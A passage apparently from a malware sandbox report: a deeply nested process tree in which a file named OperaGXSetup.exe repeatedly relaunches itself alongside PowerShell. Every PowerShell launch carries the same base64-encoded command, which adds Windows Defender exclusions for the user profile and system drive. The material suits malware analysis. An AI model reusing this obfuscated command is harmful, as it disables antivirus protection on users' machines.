        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        73⤵
        
        PID:1480
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        73⤵
        
        PID:7356
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        74⤵
        
        PID:1820
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        74⤵
        
        PID:6976
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        75⤵
        
        PID:5832
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        75⤵
        
        PID:3268
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        76⤵
        
        PID:7280
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        76⤵
        
        PID:7432
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        77⤵
        
        PID:7668
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        77⤵
        
        PID:6832
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        78⤵
        
        PID:7148
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        78⤵
        
        PID:7956
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        79⤵
        
        PID:7252
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        79⤵
        
        PID:2588
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        80⤵
        
        PID:4836
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        80⤵
        
        PID:6572
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        81⤵
        
        PID:3804
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        81⤵
        
        PID:1772
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        82⤵
        
        PID:752
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        82⤵
        
        PID:7428
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        83⤵
        
        PID:7836
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        83⤵
        
        PID:1936
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        84⤵
        
        PID:8076
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        84⤵
        
        PID:6568
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        85⤵
        
        PID:4016
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        86⤵
        
        PID:3200
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        85⤵
        
        PID:7712
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        86⤵
        
        PID:6432
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        86⤵
        
        PID:4112
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        87⤵
        
        PID:7572
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        87⤵
        
        PID:5076
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        88⤵
        
        PID:7276
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        88⤵
        
        PID:4176
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        89⤵
        
        PID:2908
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        89⤵
        
        PID:6284
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        90⤵
        
        PID:456
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        90⤵
        
        PID:1144
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        91⤵
        
        PID:3268
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        91⤵
        
        PID:8020
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        92⤵
        
        PID:2672
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        92⤵
        
        PID:7324
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        93⤵
        
        PID:5612
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        93⤵
        
        PID:5388
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        94⤵
        
        PID:4692
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        94⤵
        
        PID:1380
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        95⤵
        
        PID:6192
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        95⤵
        
        PID:2876
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        96⤵
        
        PID:3788
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        96⤵
        
        PID:5496
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        97⤵
        
        PID:3640
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        97⤵
        
        PID:7188
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        98⤵
        
        PID:2432
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        98⤵
        
        PID:2568
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        99⤵
        
        PID:7932
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        99⤵
        
        PID:5036
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        100⤵
        
        PID:6128
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        100⤵
        
        PID:5584
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        101⤵
        
        PID:6904
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        101⤵
        
        PID:1928
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        102⤵
        
        PID:7644
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        102⤵
        
        PID:372
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        103⤵
        
        PID:1856
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        103⤵
        
        PID:5104
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        104⤵
        
        PID:7072
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        104⤵
        
        PID:5644
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
